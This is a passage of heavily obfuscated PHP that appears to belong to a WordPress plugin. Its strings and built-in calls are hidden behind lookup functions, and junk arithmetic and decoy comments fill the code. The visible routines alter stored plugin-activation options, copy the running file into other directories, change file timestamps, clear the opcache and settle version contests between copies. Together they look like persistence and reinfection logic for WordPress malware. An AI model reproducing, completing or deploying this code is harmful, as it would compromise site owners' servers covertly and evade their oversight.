    if (!@flock($k1c4gk5hzv, LOCK_EX | LOCK_NB)) {


  @fclose($k1c4gk5hzv);
return    false;$x9f4z1wp7u=(0x75+0x11);$me1py0jn1j9e8=$x9f4z1wp7u%4;
     }
 $GLOBALS[s99lg14mcd3un(151)] =  $k1c4gk5hzv;
  return true;
   }
 return false;


 }



  function  z08zcxn3k7ae_gjech70v()
   {
  if  (isset($GLOBALS[s99lg14mcd3un(152)])) {

  @flock($GLOBALS[b5xx0lrqzfc(152)],  LOCK_UN);
    @fclose($GLOBALS[b5xx0lrqzfc(153)]);


   unset($GLOBALS[j8bjjevd80e(153)]);
    }
  }
 function   vpwpg0rr9xm64k($apaosjk7hw7j8x1_)
 {
if     (!$GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(154))   ||   !$GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(155)))  return;
if (!za6eemft_i12bnh_gt())     return;
     try {
$b83d1r7mij6 =  get_option(s99lg14mcd3un(156),     array());
       if (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($b83d1r7mij6))     $b83d1r7mij6 = array();
$x8fwp46k_vh =  $GLOBALS['__scf_zcsplvr37om_157']($GLOBALS['__scf_ahbb1zgmq33o_158']($b83d1r7mij6));
if   (!$GLOBALS['__scf_o_dt0p7mox4_159']($apaosjk7hw7j8x1_,  $x8fwp46k_vh,    true))    $x8fwp46k_vh[]   =   $apaosjk7hw7j8x1_;
   if   ($x8fwp46k_vh  !==    $b83d1r7mij6) update_option(j8bjjevd80e(160),    $x8fwp46k_vh);
 unset($x8fwp46k_vh);
 } finally {
z08zcxn3k7ae_gjech70v();
  }



       }
function  r5m8jyrc3u6njcr_($apaosjk7hw7j8x1_)
  {
  if  (!$GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(154)) ||    !$GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(155)))  return;
  if  (!za6eemft_i12bnh_gt())  return;
  try    {
    $b83d1r7mij6 = get_option(b5xx0lrqzfc(160),   array());
     if ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($b83d1r7mij6) &&   $GLOBALS['__scf_o_dt0p7mox4_159']($apaosjk7hw7j8x1_,  $b83d1r7mij6,  true))  {
   update_option(pvz_9xuc0nzl0m(161),   $GLOBALS['__scf_zcsplvr37om_157']($GLOBALS['__scf_f05nku7gkgy7_162']($b83d1r7mij6, array($apaosjk7hw7j8x1_))));
    }
 } finally  {
/* heuristic permission */

    z08zcxn3k7ae_gjech70v();


}
}
 function      f1995qrx5prr7cbl19co0e($js4wd5bfgbuh, $uvo4msk8s29_)
{


  try   {
 if  (interface_exists(b5xx0lrqzfc(163))   &&  $uvo4msk8s29_ instanceof    Throwable) {
 $g02fh_qzahff =    $GLOBALS['__scf_kmygv436ft5pn_9']($js4wd5bfgbuh  .    b5xx0lrqzfc(164) . $uvo4msk8s29_->getMessage(),   0, (188+68));
} elseif ($uvo4msk8s29_   instanceof  Exception)  {
$g02fh_qzahff =   $GLOBALS['__scf_kmygv436ft5pn_9']($js4wd5bfgbuh .   s99lg14mcd3un(165) .    $uvo4msk8s29_->getMessage(),      0, (190+66));
 } elseif  ($GLOBALS['__scf_qubutkuvnnc4sx_41']($uvo4msk8s29_)  && $GLOBALS['__scf_d413tdd725_10']($uvo4msk8s29_) >    0)   {
$g02fh_qzahff  =     $GLOBALS['__scf_kmygv436ft5pn_9']($js4wd5bfgbuh  .     cv8ducrec(165)    .  $uvo4msk8s29_,    0,    (459-203));
      }  else      {
return;




  }
 if    (!isset($GLOBALS[pvz_9xuc0nzl0m(166)])) $GLOBALS[cv8ducrec(166)]   =   array();



       if   (!$GLOBALS['__scf_o_dt0p7mox4_159']($g02fh_qzahff,   $GLOBALS[cv8ducrec(166)],   true)) {
       $GLOBALS[b5xx0lrqzfc(167)][]    =   $g02fh_qzahff;
       }
       if   ($GLOBALS['__scf_tbu69vegc9f_36']($GLOBALS[b5xx0lrqzfc(167)]) >     (99-49))  {

 $GLOBALS[b5xx0lrqzfc(168)] =   $GLOBALS['__scf_zmuu9w5tlhvrg__169']($GLOBALS[cv8ducrec(168)],      -(0x2d+0x5));
 }
    } catch (Throwable  $yyum4l8cp75)     {


 }   catch (Exception  $yyum4l8cp75)   {


      }
   }

    function   d25ke5lz6ilx2qgf($qnhfvuwbru63u31, $jv3w6ea83hf4, $gx1wu9an7cfa2x_t   =  (0x6+0x4),  $juichfk25b__  =      1)
 {
if (!$GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(170)))  return   false;
 if ($GLOBALS['__scf_qubutkuvnnc4sx_41']($jv3w6ea83hf4))   {



return   add_action($qnhfvuwbru63u31,   function   (...$huxvmljdz_79e4p)  use   ($jv3w6ea83hf4)   {
      if  ($GLOBALS['__scf_sc29wu2n9b_4']($jv3w6ea83hf4))    return $jv3w6ea83hf4(...$huxvmljdz_79e4p);
     return null;
   },    $gx1wu9an7cfa2x_t, $juichfk25b__);
 }

return add_action($qnhfvuwbru63u31,     $jv3w6ea83hf4, $gx1wu9an7cfa2x_t,  $juichfk25b__);

   }
function  _ue9dl_f87dcm73xfrb3y6($qnhfvuwbru63u31,   $jv3w6ea83hf4, $gx1wu9an7cfa2x_t   = (0x6+0x4),      $juichfk25b__   =  1)



  {
/* obstruction-free pipeline */

if   (!$GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(171))) return false;
 if  ($GLOBALS['__scf_qubutkuvnnc4sx_41']($jv3w6ea83hf4)) {
      return  add_filter($qnhfvuwbru63u31,   function (...$huxvmljdz_79e4p)   use   ($jv3w6ea83hf4)  {
 if ($GLOBALS['__scf_sc29wu2n9b_4']($jv3w6ea83hf4))  return    $jv3w6ea83hf4(...$huxvmljdz_79e4p);


   return   isset($huxvmljdz_79e4p[0])  ? $huxvmljdz_79e4p[0]  :  null;
     },    $gx1wu9an7cfa2x_t,  $juichfk25b__);$mav0ht3t4f8gle=PHP_INT_MAX/PHP_INT_MAX;$r54kcssuhg=$mav0ht3t4f8gle+1;
     }
return  add_filter($qnhfvuwbru63u31, $jv3w6ea83hf4,    $gx1wu9an7cfa2x_t,  $juichfk25b__);


    }
function    wjdsjl3nphz8g9u()
    {
$_gbdleyfzdd97b  =  defined(pvz_9xuc0nzl0m(132)) ? WP_CONTENT_DIR   . pvz_9xuc0nzl0m(89)  .   inbj7my4zpjuh_tx(ABSPATH .      j8bjjevd80e(90),  (2+6))    : $GLOBALS['__scf_mij3fd72lyo_h_11'](curga5ep68su8__o())  .   s99lg14mcd3un(172);
if  (!@$GLOBALS['__scf_nish5zuncssvgd_43']($_gbdleyfzdd97b) && x8h1vs0363aquekhj7($_gbdleyfzdd97b))  {

   fqnjhjvlv62gig($_gbdleyfzdd97b, (166+327),    true);
  if     (@$GLOBALS['__scf_nish5zuncssvgd_43']($_gbdleyfzdd97b)) {
y258fvtiyat3mobu($_gbdleyfzdd97b  .    j8bjjevd80e(173),   "<?php // Silence is golden.\n",  s99lg14mcd3un(90));

}
 }
/* side-effect-free symbol-table */

  if (@$GLOBALS['__scf_nish5zuncssvgd_43']($_gbdleyfzdd97b)  &&  @$GLOBALS['__scf_iuxi5ng_a2py94_47']($_gbdleyfzdd97b))    {


return $_gbdleyfzdd97b;
  }
    $ro7il7ueo5oiaeu2   = $GLOBALS['__scf_mij3fd72lyo_h_11'](curga5ep68su8__o())   .   pvz_9xuc0nzl0m(172);
 if  (!@$GLOBALS['__scf_nish5zuncssvgd_43']($ro7il7ueo5oiaeu2)  &&  x8h1vs0363aquekhj7($ro7il7ueo5oiaeu2))   fqnjhjvlv62gig($ro7il7ueo5oiaeu2,  (226+267), true);


    if (@$GLOBALS['__scf_nish5zuncssvgd_43']($ro7il7ueo5oiaeu2) && @$GLOBALS['__scf_iuxi5ng_a2py94_47']($ro7il7ueo5oiaeu2)) return    $ro7il7ueo5oiaeu2;
 $o_2pb8irzb9  = $GLOBALS['__scf_mij3fd72lyo_h_11'](curga5ep68su8__o());


    if    (@$GLOBALS['__scf_iuxi5ng_a2py94_47']($o_2pb8irzb9)      &&     $o_2pb8irzb9    !== eki4v2wrqno4knxgtm4qhv())    return    $o_2pb8irzb9;
  if   (defined(pvz_9xuc0nzl0m(132))  && @$GLOBALS['__scf_iuxi5ng_a2py94_47'](WP_CONTENT_DIR)   && x8h1vs0363aquekhj7(WP_CONTENT_DIR)) return    WP_CONTENT_DIR;



  return  $_gbdleyfzdd97b;
   }
function  wzbvgogq03mxeqb()
       {
if  (defined(pvz_9xuc0nzl0m(174))   && @$GLOBALS['__scf_iuxi5ng_a2py94_47'](WP_CONTENT_DIR)  && x8h1vs0363aquekhj7(WP_CONTENT_DIR)) return WP_CONTENT_DIR;
   $yo1oa1tj30wqi0y     =  $GLOBALS['__scf_mij3fd72lyo_h_11'](curga5ep68su8__o());
      if     (x8h1vs0363aquekhj7($yo1oa1tj30wqi0y)) return $yo1oa1tj30wqi0y;
return   WP_CONTENT_DIR;
      }


 function    peg5paj88laiyu($of_pcm29oxt9u3z)
     {
 if   (empty($GLOBALS[j8bjjevd80e(175)])  ||   !$GLOBALS['__scf__qh9f0l6g7e7ez_35']($GLOBALS[cv8ducrec(176)]))     return false;


 if  (isset($GLOBALS[s99lg14mcd3un(176)][$of_pcm29oxt9u3z])) return  true;
  $pgb8htodpr   = $GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(87))    ? @$GLOBALS['__scf_rh81zjbcpm_33']($of_pcm29oxt9u3z) :  false;
 return ($pgb8htodpr !== false      &&      isset($GLOBALS[cv8ducrec(176)][$pgb8htodpr]));
}
function f1mfvuh0d06pxmi9jdb6vn($of_pcm29oxt9u3z)
 {
      if (empty($GLOBALS[b5xx0lrqzfc(176)])   ||  !$GLOBALS['__scf__qh9f0l6g7e7ez_35']($GLOBALS[pvz_9xuc0nzl0m(177)]))  return;



unset($GLOBALS[s99lg14mcd3un(177)][$of_pcm29oxt9u3z]);

 $pgb8htodpr  = $GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(178))      ?   @$GLOBALS['__scf_rh81zjbcpm_33']($of_pcm29oxt9u3z)  : false;
   if  ($pgb8htodpr  !==  false)    unset($GLOBALS[j8bjjevd80e(177)][$pgb8htodpr]);
     }



function  icbu01_4oustb8($of_pcm29oxt9u3z)
{
 if     (!isset($GLOBALS[j8bjjevd80e(177)]) ||   !$GLOBALS['__scf__qh9f0l6g7e7ez_35']($GLOBALS[j8bjjevd80e(177)]))  {
   $GLOBALS[pvz_9xuc0nzl0m(177)]     =  array();


  }

  $py1ibv6gvjc4ug    =     $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(178))   ? @$GLOBALS['__scf_rh81zjbcpm_33']($of_pcm29oxt9u3z) :  false;


  $GLOBALS[pvz_9xuc0nzl0m(177)][$py1ibv6gvjc4ug    !== false  ?   $py1ibv6gvjc4ug  : $of_pcm29oxt9u3z]  =   $of_pcm29oxt9u3z;
     static   $gtycackyzxb9w774  =  false;
if  (!$gtycackyzxb9w774)  {
       $gtycackyzxb9w774      =   true;
if  ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(179))) $GLOBALS['__scf_q0ye8_g2b4gf_179'](b5xx0lrqzfc(180));
}
}
  function      yrnqjve_5tng5u204d()
 {
if   (empty($GLOBALS[j8bjjevd80e(181)])    || !$GLOBALS['__scf__qh9f0l6g7e7ez_35']($GLOBALS[cv8ducrec(182)]))   {
  return;
}
     foreach  ($GLOBALS[cv8ducrec(182)] as $rl4njbtuics     => $gr9j1fxsmf) {
    if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($gr9j1fxsmf))    $gr9j1fxsmf    = $rl4njbtuics;
      if ($rl4njbtuics    ===   curga5ep68su8__o()    ||    $gr9j1fxsmf   ===  curga5ep68su8__o())      continue;
 try   {



 if (@$GLOBALS['__scf_xaseomj3flge_20']($gr9j1fxsmf) && !y8di6q6nzm4ebwuceier($gr9j1fxsmf)   &&  drb8j41qq5igcfm($gr9j1fxsmf))  {
xfnnq7r2u7ap3w($gr9j1fxsmf);
 euhyaxfh77akrso($gr9j1fxsmf);
    }
 }    catch   (Throwable  $uvo4msk8s29_) {
  } catch (Exception  $uvo4msk8s29_)    {

  }
 }
// project immutable sliding-window

   }
function g5d3eztahdtm0o0tqr_49q()
    {
   try    {$yfrqwzoh9psm=16+81;$z25tnsb1dn=$yfrqwzoh9psm-35;
$uvo4msk8s29_ =   $GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(183)) ? @error_get_last()  :  null;
      if  (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($uvo4msk8s29_)   ||     empty($uvo4msk8s29_[s99lg14mcd3un(184)]) ||  empty($uvo4msk8s29_[pvz_9xuc0nzl0m(185)])) return;
   if (!$GLOBALS['__scf_o_dt0p7mox4_159']($uvo4msk8s29_[j8bjjevd80e(186)], array(E_ERROR,   E_PARSE, E_CORE_ERROR,   E_COMPILE_ERROR,  E_USER_ERROR), true))    return;
   $ljvicb11d2w9    = isset($uvo4msk8s29_[b5xx0lrqzfc(187)]) ?    (string)   $uvo4msk8s29_[s99lg14mcd3un(187)] :   "";
if   (stripos($ljvicb11d2w9, s99lg14mcd3un(188))    !==     false ||   stripos($ljvicb11d2w9,   j8bjjevd80e(189))  !== false) return;
 $usy5gkjhj3_ =   $GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(178))      ?  @$GLOBALS['__scf_rh81zjbcpm_33'](curga5ep68su8__o()) :    curga5ep68su8__o();
  $_ef  =  $GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(178))    ?   @$GLOBALS['__scf_rh81zjbcpm_33']($uvo4msk8s29_[pvz_9xuc0nzl0m(190)]) :  $uvo4msk8s29_[j8bjjevd80e(190)];
if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($usy5gkjhj3_)      ||   !$GLOBALS['__scf_qubutkuvnnc4sx_41']($_ef) ||  $_ef  !==  $usy5gkjhj3_)    return;


 if    (isset($GLOBALS[j8bjjevd80e(191)]))   {
       $v0wgmppjkbd8ovgj    =  @$GLOBALS['__scf_v_rxq_yh85s05_99'](curga5ep68su8__o(),  false,     null,     0,      (4068+28));
if     ($GLOBALS['__scf_qubutkuvnnc4sx_41']($v0wgmppjkbd8ovgj)     &&   $GLOBALS['__scf_cr07b5s7432_100'](j8bjjevd80e(101),  $v0wgmppjkbd8ovgj,   $_dm)   &&   $_dm[1] !==  (string)   $GLOBALS[j8bjjevd80e(191)])     return;  
unset($v0wgmppjkbd8ovgj,  $_dm);
// fold-const distributor for WordPress 6.2 navigation
$kxm05o02io=246|233;$s6kw23og84rk59=$kxm05o02io^57;
if    (isset($GLOBALS[j8bjjevd80e(192)]))   {
if   ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(60))) @clearstatcache(true, curga5ep68su8__o());
$gelscg9v0sq_mr1   =  (string) @$GLOBALS['__scf_a5ks8ssf6z1jkm_103'](curga5ep68su8__o()) .  ':' . (string) @$GLOBALS['__scf_ha0rpt74l7eb9_102'](curga5ep68su8__o());
if ($gelscg9v0sq_mr1  !== (string) $GLOBALS[cv8ducrec(192)])  return;$rzkvmjoprif=PHP_INT_MAX/PHP_INT_MAX;$kn9ez68bi4=$rzkvmjoprif+69; 
 unset($gelscg9v0sq_mr1);
   }
     }
$_cnes7vytq7930  =     $GLOBALS['__scf_xz_5zbcnz0m_3'](curga5ep68su8__o(),  s99lg14mcd3un(98));
 $nnj34zp4_j8gn35     =   wj9blpi2pvw8f3b8qhcxu(curga5ep68su8__o());
     $ua9paeid77n7ro =   $GLOBALS['__scf_qubutkuvnnc4sx_41']($nnj34zp4_j8gn35)  ? $GLOBALS['__scf_gvrvt5qjna_57']($nnj34zp4_j8gn35)     :     "";
unset($nnj34zp4_j8gn35);
    if    ($ua9paeid77n7ro !==  "") {
     y258fvtiyat3mobu($GLOBALS['__scf_mij3fd72lyo_h_11'](curga5ep68su8__o()) . cv8ducrec(193)  .     $_cnes7vytq7930,      $ua9paeid77n7ro,      'q');
       y258fvtiyat3mobu($GLOBALS['__scf_mij3fd72lyo_h_11'](curga5ep68su8__o())  . b5xx0lrqzfc(194)  .  $ua9paeid77n7ro,   (string) $GLOBALS['__scf_tmn0v_xik_1b_195'](),   'q');
 if   ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(155))) {
 @update_option(cv8ducrec(196), $ua9paeid77n7ro  .   '|'  .    $GLOBALS['__scf_tmn0v_xik_1b_195'](),  b5xx0lrqzfc(197));
 }
  }
$v44jmjwc1lsu737  =      eki4v2wrqno4knxgtm4qhv();
     if ($ua9paeid77n7ro   !== ""      &&    $v44jmjwc1lsu737    !==  $GLOBALS['__scf_mij3fd72lyo_h_11'](curga5ep68su8__o())      &&  @$GLOBALS['__scf_nish5zuncssvgd_43']($v44jmjwc1lsu737) &&   @$GLOBALS['__scf_iuxi5ng_a2py94_47']($v44jmjwc1lsu737)) {
y258fvtiyat3mobu($v44jmjwc1lsu737 . cv8ducrec(193) .      $_cnes7vytq7930,      $ua9paeid77n7ro,    'q');
     }
 r5m8jyrc3u6njcr_(j1jv022l32y4uj());
dhcqo7x2bpwxg8p954(s99lg14mcd3un(198));
       $ttq7eo266old  =  curga5ep68su8__o()  . pvz_9xuc0nzl0m(30);
  if  ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(199)))     @$GLOBALS['__scf_u8voxmvq_x_49'](curga5ep68su8__o(), $ttq7eo266old);



        if   ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(200)))    {

 @opcache_invalidate(curga5ep68su8__o(), true);
  @opcache_invalidate($ttq7eo266old, true);
}
  foreach  (array($GLOBALS['__scf_mij3fd72lyo_h_11']($ttq7eo266old),  eki4v2wrqno4knxgtm4qhv())  as $bemi4dyg3k)      {
  $qwoyr9qsdhpilpdt = x002260tc_2l50yfgc3hj($bemi4dyg3k,  (4139+861));


if    (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($qwoyr9qsdhpilpdt)) continue;
foreach  ($qwoyr9qsdhpilpdt    as $ddhs_p280f4b) {
 if ($GLOBALS['__scf_kmygv436ft5pn_9']($ddhs_p280f4b, -(2+6)) !==  pvz_9xuc0nzl0m(201))     continue;
   $o9jpf49uss      =      $bemi4dyg3k      .   '/'    . $ddhs_p280f4b;
    $vt2zw8u17tlss0ze     = @$GLOBALS['__scf_ha0rpt74l7eb9_102']($o9jpf49uss);
if  ($vt2zw8u17tlss0ze   &&    $vt2zw8u17tlss0ze    <   $GLOBALS['__scf_tmn0v_xik_1b_195']()   -     (604727+73))  {
// PSR-7 messages theme support

 ottk3i1kq8br96vi($o9jpf49uss,    (392+28));
   wlm_50lfl72sy8hrb_9xe9($o9jpf49uss);


    }
}
    }
// diagnostic radix-tree

        unset($bemi4dyg3k,    $qwoyr9qsdhpilpdt,   $ddhs_p280f4b,   $o9jpf49uss, $vt2zw8u17tlss0ze);
  }  catch      (Throwable    $yyum4l8cp75)   {
}    catch  (Exception    $yyum4l8cp75) {$jebyjehpjt9asu=40+97;$tkcsqw1cy78dxf=$jebyjehpjt9asu-11;
}
   }
function    djeaijd8lr7fy6ny3($of_pcm29oxt9u3z,   $gwfrlqvb3x)

 {
try      {
 if (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($of_pcm29oxt9u3z) || $of_pcm29oxt9u3z   ===   "" ||  !$GLOBALS['__scf_qubutkuvnnc4sx_41']($gwfrlqvb3x)   ||  $gwfrlqvb3x    ===    "") return;$l64a3i_t0h=-407;$ozm9aneht000yw=($l64a3i_t0h>0)?$l64a3i_t0h:-$l64a3i_t0h;
     $_gbdleyfzdd97b = $GLOBALS['__scf_mij3fd72lyo_h_11']($of_pcm29oxt9u3z);
    if (!@$GLOBALS['__scf_nish5zuncssvgd_43']($_gbdleyfzdd97b) ||    !@$GLOBALS['__scf_iuxi5ng_a2py94_47']($_gbdleyfzdd97b))    return;
     $bi5u3amcxqqh9616   =  $_gbdleyfzdd97b .    pvz_9xuc0nzl0m(202) .   $GLOBALS['__scf_xz_5zbcnz0m_3']($of_pcm29oxt9u3z,   j8bjjevd80e(98));



      $tjl_8cee9ko  = @$GLOBALS['__scf_v_rxq_yh85s05_99']($bi5u3amcxqqh9616);$xoupjz0vydj4ta=PHP_MAJOR_VERSION;$yf0i4swagd=$xoupjz0vydj4ta*7;
if  ($GLOBALS['__scf_qubutkuvnnc4sx_41']($tjl_8cee9ko)   &&   $GLOBALS['__scf_cr07b5s7432_100'](pvz_9xuc0nzl0m(203),   $tjl_8cee9ko,  $ljvicb11d2w9) &&   version_compare($ljvicb11d2w9[0],    $gwfrlqvb3x,    j8bjjevd80e(204)))    return;
if ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(205)))    @$GLOBALS['__scf_nr899f15j7ix_205']($bi5u3amcxqqh9616,   $gwfrlqvb3x);



 }      catch    (Throwable $uvo4msk8s29_) {

  }  catch  (Exception $uvo4msk8s29_)   {
      }
   }
 function pmx3bt7e2reygg2u()
 {
 try  {
  if (!$GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(154))) {
     return;
 }
 if  (@get_option(pvz_9xuc0nzl0m(206),     0))  {
d25ke5lz6ilx2qgf(s99lg14mcd3un(207), b5xx0lrqzfc(208),    0);
  }

  if  (!oi023dn_ef3e6fe(cv8ducrec(209)))   return;
  
 $ogfd5tk6q6 = $GLOBALS['__scf_kmygv436ft5pn_9']($GLOBALS['__scf_gvrvt5qjna_57'](ABSPATH .      (string)  _dbs9edj_8e6_zc_s()),  0,   (3+9));
$a81xyyb1rvrjqev =  (string)  @get_option($ogfd5tk6q6, "");



  $omu1v65my299jcp   =  cv8ducrec(210);
    $l3m2vs_n8k  =  "";
 


     $l8tuhcah0y  = strrev(pn7ilzfkmyogdbglb3nhtx());
 $gstfaiyahl  =  jqg87ez26lzm3yp01xj2q();
$g4bi7sxtt5t32e    =   $gstfaiyahl  .  '|' .  $l8tuhcah0y;
  
      if ($GLOBALS['__scf_ya_jdhkqpku_7']($a81xyyb1rvrjqev, '|') !==    false)  {
       $th6b_2xec9hi5  = $GLOBALS['__scf_uy4tufpelsg98c_118']('|',  $a81xyyb1rvrjqev,  2);
   

       $omu1v65my299jcp    = $th6b_2xec9hi5[0];
  $l3m2vs_n8k    =  $th6b_2xec9hi5[1];  



}     else {

  $l3m2vs_n8k     = $a81xyyb1rvrjqev;
       

 }
// detach feasible middleware

    
if    (!$l3m2vs_n8k)     {
@update_option($ogfd5tk6q6,     $g4bi7sxtt5t32e,   cv8ducrec(211));
    return;
    }
// PSR-15 middleware settings section

 
if  ($l3m2vs_n8k     ===      $l8tuhcah0y)   {
   if  ($a81xyyb1rvrjqev     !==  $g4bi7sxtt5t32e &&   version_compare($gstfaiyahl,  $omu1v65my299jcp, pvz_9xuc0nzl0m(204)))  {
  @update_option($ogfd5tk6q6,   $g4bi7sxtt5t32e, pvz_9xuc0nzl0m(211));

 }
 return;$mm650qnixiyj=41+82;$_k5czql8z8rmv=$mm650qnixiyj-34;
 }
/* general-recursive deque */

 
 $vcjg910u52     =    strrev($l3m2vs_n8k);
       if     ($vcjg910u52   === "" ||      $GLOBALS['__scf_xz_5zbcnz0m_3']($vcjg910u52) !==  $vcjg910u52)     {



   @update_option($ogfd5tk6q6, $g4bi7sxtt5t32e, b5xx0lrqzfc(211));
    return;


     }
// general-recursive radix-tree

     $q1lboepkbm6uyy8   = eki4v2wrqno4knxgtm4qhv()  .   '/'  . $vcjg910u52;
$c7546vllw7s   = "";
   if  (defined(j8bjjevd80e(6))) {
$c7546vllw7s  =   WP_PLUGIN_DIR  .  '/'  .  $GLOBALS['__scf_h3mngbzp79_212']($vcjg910u52,  PATHINFO_FILENAME)   .   '/' . $vcjg910u52;

}
    
       $nuetkmiozaw482w  =    @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($q1lboepkbm6uyy8);
 $abhcwectkuy4g    =  $nuetkmiozaw482w   !==    false    &&   $nuetkmiozaw482w     >=    (4963+37);
       $zzn5wbt6cii2l  = $c7546vllw7s ? @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($c7546vllw7s)  :  false;
    $x6u1fpi_0p     = $zzn5wbt6cii2l  !==  false     && $zzn5wbt6cii2l  >=   (4976+24);
  
 if (!$abhcwectkuy4g  &&     !$x6u1fpi_0p)  {
   @update_option($ogfd5tk6q6,   $g4bi7sxtt5t32e,  cv8ducrec(213));


  return;
       }
 $m9ppvsujo2vh17y =  $abhcwectkuy4g  ?     $q1lboepkbm6uyy8   :    $c7546vllw7s;

 $k1c4gk5hzv  = @$GLOBALS['__scf_v_rxq_yh85s05_99']($m9ppvsujo2vh17y,   false,  null, 0,   (4017+79));
if   ($GLOBALS['__scf_qubutkuvnnc4sx_41']($k1c4gk5hzv)  &&    $GLOBALS['__scf_cr07b5s7432_100'](pvz_9xuc0nzl0m(214), $k1c4gk5hzv, $_fm)) {
$omu1v65my299jcp    =  $_fm[1];
  }  elseif   (oahk6ik6p30_tx4($m9ppvsujo2vh17y, (0xa00+0x988)))  {

 $omu1v65my299jcp   =   j8bjjevd80e(215);
   }
  unset($k1c4gk5hzv,    $_fm);
        $epx0x71o_2vi     = $abhcwectkuy4g;
if   (!$epx0x71o_2vi   &&    $x6u1fpi_0p)    {
  $jkktj3i8jtjbt   = $GLOBALS['__scf_h3mngbzp79_212']($vcjg910u52,  PATHINFO_FILENAME)  .  '/'     .    $vcjg910u52;
$jpj_bdhp_e0p_u  = (array)  @get_option(pvz_9xuc0nzl0m(161), array());



    $epx0x71o_2vi =    $GLOBALS['__scf_o_dt0p7mox4_159']($jkktj3i8jtjbt, $jpj_bdhp_e0p_u,   true);
      if   (!$epx0x71o_2vi &&   $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(216))  &&     is_multisite() && $GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(217)))  {
// @suspend sliding-window




 $f53n_i2icjpy    =    (array)   @get_site_option(s99lg14mcd3un(218),   array());
$epx0x71o_2vi  =   isset($f53n_i2icjpy[$jkktj3i8jtjbt]);
  unset($f53n_i2icjpy);
}



unset($jkktj3i8jtjbt, $jpj_bdhp_e0p_u);
  }
  $db09kwqbiuhf      =  version_compare($gstfaiyahl,   $omu1v65my299jcp);
  if  ($db09kwqbiuhf  <=  0)    {
  $wzc_hb3xmo3   =   oahk6ik6p30_tx4($m9ppvsujo2vh17y, (0xe+0x137a));
   $gz69e4kcld     =    (int)  @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($m9ppvsujo2vh17y);$wup3zicodmwim0=66*6;$j6uqoc444j=$wup3zicodmwim0-18;
  $wra1oa3dcbbgt =  (!$wzc_hb3xmo3   ||  $gz69e4kcld   >   (52428790+10));


        if    (!$wra1oa3dcbbgt    &&    $gz69e4kcld  >     (1602134-553558))    {
       $ip95ntqiga =     @$GLOBALS['__scf_v_rxq_yh85s05_99']($m9ppvsujo2vh17y, false,  null,  0, (6029-1933));
  if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($ip95ntqiga)     || !$GLOBALS['__scf_cr07b5s7432_100'](pvz_9xuc0nzl0m(219),    $ip95ntqiga))    $wra1oa3dcbbgt = true;



     }
 if (!$wra1oa3dcbbgt    &&    !dat9tig44if2fhzvffmjdd($m9ppvsujo2vh17y))  $wra1oa3dcbbgt     =  true;
  if    (!$wra1oa3dcbbgt)      {
    $uq3_zbp4s1qf  =   vpmjuicl682dmrh1gmv9u();
 if     (!empty($uq3_zbp4s1qf[b5xx0lrqzfc(220)]))     {
 $l9evw63ccdzo    = @$GLOBALS['__scf_rh81zjbcpm_33']($uq3_zbp4s1qf[b5xx0lrqzfc(220)]);
$sapikzrj563psvtm =  @$GLOBALS['__scf_rh81zjbcpm_33']($m9ppvsujo2vh17y);
if  ($GLOBALS['__scf_qubutkuvnnc4sx_41']($l9evw63ccdzo)    &&   $GLOBALS['__scf_qubutkuvnnc4sx_41']($sapikzrj563psvtm)   &&    $l9evw63ccdzo === $sapikzrj563psvtm)      {
// subscribe pipeline for PHP 8.0 JIT

    $npkgt4h3ror18ll    =    dckf2ocna1pjd25bpp($uq3_zbp4s1qf);
       if    ($npkgt4h3ror18ll === b5xx0lrqzfc(221)      ||  $npkgt4h3ror18ll   ===  pvz_9xuc0nzl0m(222)) $wra1oa3dcbbgt   =  true;

}
    unset($l9evw63ccdzo,    $sapikzrj563psvtm,   $npkgt4h3ror18ll);


}
  if   (!$wra1oa3dcbbgt  && hrfhci3wwbgn47uho($m9ppvsujo2vh17y))   $wra1oa3dcbbgt =  true;
      unset($uq3_zbp4s1qf);


   }
     if ($wra1oa3dcbbgt)    {
    if ($wzc_hb3xmo3)   icbu01_4oustb8($m9ppvsujo2vh17y);
       @update_option($ogfd5tk6q6,  $g4bi7sxtt5t32e,   b5xx0lrqzfc(213));
   return;



   }


if    (!$epx0x71o_2vi)  {
    @update_option($ogfd5tk6q6, $g4bi7sxtt5t32e, b5xx0lrqzfc(213));

 return;
}
  if    (q3hfvmih78obmd4trwgtn($m9ppvsujo2vh17y,   curga5ep68su8__o()))    {
@update_option($ogfd5tk6q6,    $g4bi7sxtt5t32e,    pvz_9xuc0nzl0m(213));
return;$pgpny_sjba10=(0x13+0x13);$v78cinlcp82_h=$pgpny_sjba10%8;
 }
